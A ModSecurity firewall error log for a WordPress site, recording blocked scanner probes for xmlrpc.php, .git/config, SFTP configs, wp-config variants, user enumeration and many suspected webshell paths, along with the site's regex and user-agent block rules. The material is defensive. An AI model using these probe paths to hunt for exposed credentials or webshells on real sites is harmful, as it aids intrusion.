[Mon Dec 01 01:07:34.120868 2025] [:error] [pid 32521:tid 32558] [client 34.85.187.218:64606] [client 34.85.187.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.187.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSx51j-OXioBrWvHoPq0DgAAAwY"]
[Mon Dec 01 01:07:37.791858 2025] [:error] [pid 32521:tid 32569] [client 34.85.187.218:64606] [client 34.85.187.218] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSx52T-OXioBrWvHoPq0GAAAAxE"]
[Mon Dec 01 01:07:39.235626 2025] [:error] [pid 32521:tid 32568] [client 34.85.187.218:64606] [client 34.85.187.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.187.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSx52z-OXioBrWvHoPq0GwAAAxA"]
[Mon Dec 01 01:07:41.202153 2025] [:error] [pid 32521:tid 32576] [client 34.85.187.218:51838] [client 34.85.187.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.187.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSx53T-OXioBrWvHoPq0IQAAAxg"]
[Mon Dec 01 01:07:43.109721 2025] [:error] [pid 32521:tid 32565] [client 34.85.187.218:53916] [client 34.85.187.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.187.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSx53z-OXioBrWvHoPq0KAAAAw0"]
[Mon Dec 01 01:07:43.109872 2025] [:error] [pid 32521:tid 32565] [client 34.85.187.218:53916] [client 34.85.187.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.85.187.218, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSx53z-OXioBrWvHoPq0KAAAAw0"]
[Mon Dec 01 02:10:22.936491 2025] [:error] [pid 22995:tid 23007] [client 5.35.249.176:57162] [client 5.35.249.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.35.249.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSyIjqhgK6YGad0ApM9Y1AAAAQk"]
[Mon Dec 01 02:39:40.786258 2025] [:error] [pid 32522:tid 32596] [client 103.65.237.153:52833] [client 103.65.237.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aSyPbCY5g6U7AgYu2cLDrQAAANE"]
[Mon Dec 01 02:39:41.116385 2025] [:error] [pid 32521:tid 32567] [client 103.65.237.153:52878] [client 103.65.237.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aSyPbT-OXioBrWvHoPrfAQAAAw8"]
[Mon Dec 01 04:33:16.489622 2025] [:error] [pid 39189:tid 39200] [client 5.189.145.165:44368] [client 5.189.145.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.145.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSyqDO861-Z71XbzCjwSUwAAAQk"]
[Mon Dec 01 06:05:41.281528 2025] [:error] [pid 39230:tid 39239] [client 45.55.56.231:42324] [client 45.55.56.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSy_taM8OwMp6GqAH1fgrAAAAUY"]
[Mon Dec 01 06:05:51.409758 2025] [:error] [pid 38833:tid 38843] [client 45.55.56.231:40746] [client 45.55.56.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSy_v2QclTT5c5spu4YcOwAAAMg"]
[Mon Dec 01 10:20:51.031635 2025] [proxy_fcgi:error] [pid 50143:tid 50149] (70007)The timeout specified has expired: [client 51.81.107.180:51634] AH01075: Error dispatching request to : (polling)
[Mon Dec 01 10:44:55.238386 2025] [:error] [pid 7182:tid 7200] [client 144.31.4.112:58476] [client 144.31.4.112] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/elmah.axd"] [unique_id "aS0BJ39TcBzcTIZoEPhIHgAAAM8"]
[Mon Dec 01 11:04:41.119104 2025] [:error] [pid 60651:tid 60657] [client 193.37.32.81:47199] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "aS0FyWFx-k5xX1VD6QLiRgAAAIM"]
[Mon Dec 01 11:05:26.309900 2025] [:error] [pid 50172:tid 50179] [client 193.37.32.70:48327] [client 193.37.32.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope_normal.php"] [unique_id "aS0F9mA_oUkA7PwzMCfYkQAAAEI"]
[Mon Dec 01 11:06:41.547206 2025] [:error] [pid 60651:tid 60673] [client 193.37.32.93:32311] [client 193.37.32.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/test.php"] [unique_id "aS0GQWFx-k5xX1VD6QLjNQAAAJM"]
[Mon Dec 01 11:07:16.734926 2025] [:error] [pid 50172:tid 50201] [client 193.37.32.81:52273] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "aS0GZGA_oUkA7PwzMCfZLQAAAFg"]
[Mon Dec 01 11:09:56.961509 2025] [:error] [pid 60651:tid 60665] [client 193.37.32.70:42351] [client 193.37.32.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/autoload_classmap/function.php"] [unique_id "aS0HBGFx-k5xX1VD6QLk_QAAAIs"]
[Mon Dec 01 11:10:57.363010 2025] [:error] [pid 60651:tid 60673] [client 193.37.32.81:63551] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aS0HQWFx-k5xX1VD6QLlegAAAJM"]
[Mon Dec 01 11:11:07.568968 2025] [:error] [pid 50236:tid 50241] [client 193.37.32.81:28175] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/natural.php"] [unique_id "aS0HS9Fh6opCMA7G1YQG-AAAAUM"]
[Mon Dec 01 11:12:37.792371 2025] [:error] [pid 60651:tid 60676] [client 193.37.32.70:22297] [client 193.37.32.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ioxi002.PhP7"] [unique_id "aS0HpWFx-k5xX1VD6QLmJQAAAJY"]
[Mon Dec 01 11:14:08.030805 2025] [:error] [pid 7182:tid 7194] [client 193.37.32.81:32685] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/"] [unique_id "aS0IAH9TcBzcTIZoEPhTzQAAAMk"]
[Mon Dec 01 11:15:03.246854 2025] [:error] [pid 28260:tid 28278] [client 193.37.32.81:60939] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aS0INy8gx66CDAIpR75ECAAAAZA"]
[Mon Dec 01 11:16:38.498900 2025] [:error] [pid 28260:tid 28266] [client 193.37.32.93:62155] [client 193.37.32.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/"] [unique_id "aS0Ili8gx66CDAIpR75FMgAAAYQ"]
[Mon Dec 01 11:16:38.679616 2025] [:error] [pid 28260:tid 28285] [client 193.37.32.81:50605] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-config-sample.php"] [unique_id "aS0Ili8gx66CDAIpR75FMwAAAZc"]
[Mon Dec 01 11:19:18.930612 2025] [:error] [pid 28260:tid 28265] [client 193.37.32.70:27691] [client 193.37.32.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aS0JNi8gx66CDAIpR75GMwAAAYM"]
[Mon Dec 01 11:19:24.119293 2025] [:error] [pid 7182:tid 7188] [client 193.37.32.93:25689] [client 193.37.32.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/log.php"] [unique_id "aS0JPH9TcBzcTIZoEPhVBQAAAMM"]
[Mon Dec 01 11:21:49.357893 2025] [:error] [pid 7182:tid 7195] [client 193.37.32.70:21769] [client 193.37.32.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aS0JzX9TcBzcTIZoEPhVXQAAAMo"]
[Mon Dec 01 11:22:29.548319 2025] [:error] [pid 60651:tid 60672] [client 193.37.32.81:45551] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hello.php"] [unique_id "aS0J9WFx-k5xX1VD6QLqMQAAAJI"]
[Mon Dec 01 11:24:14.763808 2025] [:error] [pid 60651:tid 60667] [client 193.37.32.70:20661] [client 193.37.32.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "aS0KXmFx-k5xX1VD6QLq8QAAAI0"]
[Mon Dec 01 11:27:00.036027 2025] [:error] [pid 60651:tid 60656] [client 193.37.32.70:51401] [client 193.37.32.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aS0LBGFx-k5xX1VD6QLrxAAAAII"]
[Mon Dec 01 11:27:40.236712 2025] [:error] [pid 50143:tid 50158] [client 193.37.32.70:63007] [client 193.37.32.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/plugins/colorpicker/"] [unique_id "aS0LLA4ii19UTfa9gmYgZQAAAA0"]
[Mon Dec 01 11:29:50.438250 2025] [:error] [pid 28260:tid 28275] [client 193.37.32.81:64507] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentyfive/include.php"] [unique_id "aS0Lri8gx66CDAIpR75LMwAAAY0"]
[Mon Dec 01 11:29:55.634210 2025] [:error] [pid 50143:tid 50148] [client 193.37.32.81:42265] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aS0Lsw4ii19UTfa9gmYg2wAAAAM"]
[Mon Dec 01 11:32:05.868081 2025] [:error] [pid 28260:tid 28279] [client 193.37.32.93:29119] [client 193.37.32.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "aS0MNS8gx66CDAIpR75L7wAAAZE"]
[Mon Dec 01 11:32:26.063237 2025] [:error] [pid 50236:tid 50246] [client 193.37.32.81:24889] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "aS0MStFh6opCMA7G1YQLhgAAAUg"]
[Mon Dec 01 11:32:46.268038 2025] [:error] [pid 50172:tid 50195] [client 193.37.32.70:44383] [client 193.37.32.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-configs.php"] [unique_id "aS0MXmA_oUkA7PwzMCfhEgAAAFI"]
[Mon Dec 01 11:33:11.475060 2025] [:error] [pid 7182:tid 7202] [client 193.37.32.81:53967] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/elish.php"] [unique_id "aS0Md39TcBzcTIZoEPhXvwAAANE"]
[Mon Dec 01 11:33:46.716336 2025] [:error] [pid 60651:tid 60662] [client 193.37.32.70:43189] [client 193.37.32.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/development/"] [unique_id "aS0MmmFx-k5xX1VD6QLtsQAAAIg"]
[Mon Dec 01 11:33:46.897252 2025] [:error] [pid 28260:tid 28280] [client 193.37.32.81:23719] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/Iitespeed-cache/157.php"] [unique_id "aS0Mmi8gx66CDAIpR75MlAAAAZI"]
[Mon Dec 01 11:33:47.083893 2025] [:error] [pid 50173:tid 50215] [client 193.37.32.70:62023] [client 193.37.32.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp.php"] [unique_id "aS0Mm4v3zN9A0dVx6aSQNwAAAQs"]
[Mon Dec 01 11:38:07.368212 2025] [:error] [pid 50173:tid 50224] [client 193.37.32.81:21653] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wolf.php"] [unique_id "aS0Nn4v3zN9A0dVx6aSRagAAARQ"]
[Mon Dec 01 11:38:12.555023 2025] [:error] [pid 7182:tid 7205] [client 193.37.32.81:60175] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/theme-check/theme-check.php"] [unique_id "aS0NpH9TcBzcTIZoEPhZBwAAANQ"]
[Mon Dec 01 11:38:17.736787 2025] [:error] [pid 50143:tid 50147] [client 193.37.32.93:36435] [client 193.37.32.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/1.php"] [unique_id "aS0NqQ4ii19UTfa9gmYi2wAAAAI"]
[Mon Dec 01 11:40:17.969619 2025] [:error] [pid 28260:tid 28279] [client 193.37.32.81:63167] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/405.php"] [unique_id "aS0OIS8gx66CDAIpR75P1QAAAZE"]
[Mon Dec 01 11:42:14.682714 2025] [:error] [pid 28260:tid 28283] [client 46.105.230.99:34997] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS0Oli8gx66CDAIpR75Q8QAAAZU"]
[Mon Dec 01 11:42:38.338612 2025] [:error] [pid 28260:tid 28272] [client 193.37.32.81:42409] [client 193.37.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/plugin.php"] [unique_id "aS0Ori8gx66CDAIpR75RFwAAAYo"]
[Mon Dec 01 11:42:48.554768 2025] [:error] [pid 28260:tid 28277] [client 193.37.32.70:52741] [client 193.37.32.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/script-modules/block-library/navigation/lock.php"] [unique_id "aS0OuC8gx66CDAIpR75RNQAAAY8"]
[Mon Dec 01 11:43:28.754308 2025] [:error] [pid 50143:tid 50152] [client 193.37.32.93:32601] [client 193.37.32.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wpfilemangersobject/"] [unique_id "aS0O4A4ii19UTfa9gmYj9AAAAAc"]
[Mon Dec 01 12:53:47.624588 2025] [:error] [pid 57714:tid 57722] [client 164.68.115.151:46962] [client 164.68.115.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.68.115.151, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS0fW0UaTA8l_0rGIevtkQAAAcY"]
[Mon Dec 01 13:09:11.327509 2025] [:error] [pid 50236:tid 50252] [client 182.42.111.213:60574] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aS0i99Fh6opCMA7G1YQhrQAAAU4"]
[Mon Dec 01 13:25:02.370010 2025] [:error] [pid 50143:tid 50169] [client 117.102.226.238:61461] [client 117.102.226.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.102.226.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS0mrg4ii19UTfa9gmZCIwAAABg"]
[Mon Dec 01 13:30:23.367813 2025] [:error] [pid 57714:tid 57739] [client 117.102.226.238:59219] [client 117.102.226.238] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aS0n70UaTA8l_0rGIev2fwAAAdc"]
